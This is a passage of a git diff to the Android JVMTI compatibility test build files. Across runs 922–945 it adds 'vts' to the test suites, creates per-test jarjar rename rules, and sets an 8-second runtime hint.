 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt
new file mode 100644
index 0000000..9334c2d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest922@1
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.mk b/hostsidetests/jvmti/run-tests/test-923/Android.mk
index 6bac152..fd2d6f8 100644
--- a/hostsidetests/jvmti/run-tests/test-923/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-923/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest923HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
index c1977d6..cae6301 100644
--- a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest923HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest923DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_923" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
index 6284f7d..b638272 100644
--- a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt
new file mode 100644
index 0000000..5054eeb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest923@1
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.mk b/hostsidetests/jvmti/run-tests/test-924/Android.mk
index c16350b..4b917d8 100644
--- a/hostsidetests/jvmti/run-tests/test-924/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-924/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest924HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
index 3424b6b..35bea67 100644
--- a/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-924/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest924HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest924DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_924" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
index 18e4f72..7136929 100644
--- a/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-924/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt
new file mode 100644
index 0000000..86780fc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest924@1
diff --git a/hostsidetests/jvmti/run-tests/test-926/Android.mk b/hostsidetests/jvmti/run-tests/test-926/Android.mk
index 3ea1d85..9e0ffe1 100644
--- a/hostsidetests/jvmti/run-tests/test-926/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-926/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest926HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
index 30c0da8..ea30af1 100644
--- a/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-926/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest926HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest926DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_926" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
index 3436029..3d531ff 100644
--- a/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-926/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt
new file mode 100644
index 0000000..831e1634
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-926/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest926@1
diff --git a/hostsidetests/jvmti/run-tests/test-927/Android.mk b/hostsidetests/jvmti/run-tests/test-927/Android.mk
index 98d5f2e..3371896 100644
--- a/hostsidetests/jvmti/run-tests/test-927/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-927/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest927HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
index 52b9b8e..f09082a 100644
--- a/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-927/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest927HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest927DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_927" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
index 1e8fdb3..0443b1b 100644
--- a/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-927/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt
new file mode 100644
index 0000000..e342e09
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-927/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest927@1
diff --git a/hostsidetests/jvmti/run-tests/test-928/Android.mk b/hostsidetests/jvmti/run-tests/test-928/Android.mk
index 6084806..3b0e60c 100644
--- a/hostsidetests/jvmti/run-tests/test-928/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-928/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest928HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
index 477a056..7755ea0 100644
--- a/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-928/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest928HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest928DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_928" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
index fa3537f..75ba90c 100644
--- a/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-928/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt
new file mode 100644
index 0000000..52ce9fe
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-928/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest928@1
diff --git a/hostsidetests/jvmti/run-tests/test-930/Android.mk b/hostsidetests/jvmti/run-tests/test-930/Android.mk
index 10a3d18..3b7ddf7 100644
--- a/hostsidetests/jvmti/run-tests/test-930/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-930/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest930HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
index cbed864..c2b8745 100644
--- a/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-930/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest930HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest930DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_930" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
index 6affa06..8a35455 100644
--- a/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-930/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt
new file mode 100644
index 0000000..b45db2f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-930/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest930@1
diff --git a/hostsidetests/jvmti/run-tests/test-931/Android.mk b/hostsidetests/jvmti/run-tests/test-931/Android.mk
index 063c6f5..8f2cec9 100644
--- a/hostsidetests/jvmti/run-tests/test-931/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-931/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest931HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
index 4532a3e..349cc80 100644
--- a/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-931/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest931HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest931DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_931" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
index 52eed76..c1be435dc 100644
--- a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt
new file mode 100644
index 0000000..9570d03
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest931@1
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.mk b/hostsidetests/jvmti/run-tests/test-932/Android.mk
index 198adae..4e655f5 100644
--- a/hostsidetests/jvmti/run-tests/test-932/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-932/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest932HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
index 234476c..c691b40 100644
--- a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest932HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest932DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_932" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
index e0c96d3..970365b 100644
--- a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt
new file mode 100644
index 0000000..fc9fd30
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest932@1
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.mk b/hostsidetests/jvmti/run-tests/test-940/Android.mk
index 453dee0..99fc6ae 100644
--- a/hostsidetests/jvmti/run-tests/test-940/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-940/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest940HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
index 2ef5266..fe8f6df 100644
--- a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest940HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest940DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_940" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
index 0ba569c..bc0476f 100644
--- a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt
new file mode 100644
index 0000000..71c7825
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest940@1
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.mk b/hostsidetests/jvmti/run-tests/test-942/Android.mk
index 8a6657f..68d839b 100644
--- a/hostsidetests/jvmti/run-tests/test-942/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-942/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest942HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
index a0043a8..f200441 100644
--- a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest942HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest942DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_942" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
index a29d4b6..5b077b4 100644
--- a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt
new file mode 100644
index 0000000..76d0e86
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest942@1
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.mk b/hostsidetests/jvmti/run-tests/test-944/Android.mk
index b90c3e3..bcc2046 100644
--- a/hostsidetests/jvmti/run-tests/test-944/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-944/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest944HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
index bf9c3b0..97a69cd 100644
--- a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
@@ -23,5 +23,6 @@
         <option name="jar" value="CtsJvmtiRunTest944HostTestCases.jar" />
         <option name="set-option" value="test-file-name:CtsJvmtiRunTest944DeviceApp.apk" />
         <option name="set-option" value="package-name:android.jvmti.cts.run_test_944" />
+        <option name="runtime-hint" value="8s"/>
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
index d564fc5..197b5fe 100644
--- a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt
new file mode 100644
index 0000000..3f0fecf
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest944@1
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.mk b/hostsidetests/jvmti/run-tests/test-945/Android.mk
index 754d7ca..b06d1f9 100644
--- a/hostsidetests/jvmti/run-tests/test-945/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-945/Android.mk
@@ -18,8 +18,9 @@
 
 LOCAL_MODULE := CtsJvmtiRunTest945HostTestCases
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_JARJAR_RULES := $(LOCAL_PATH)/jarjar-rules.txt
 LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
index be0827b..3c76674 100644
--- a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
@@ -23,5 +23,6 @@
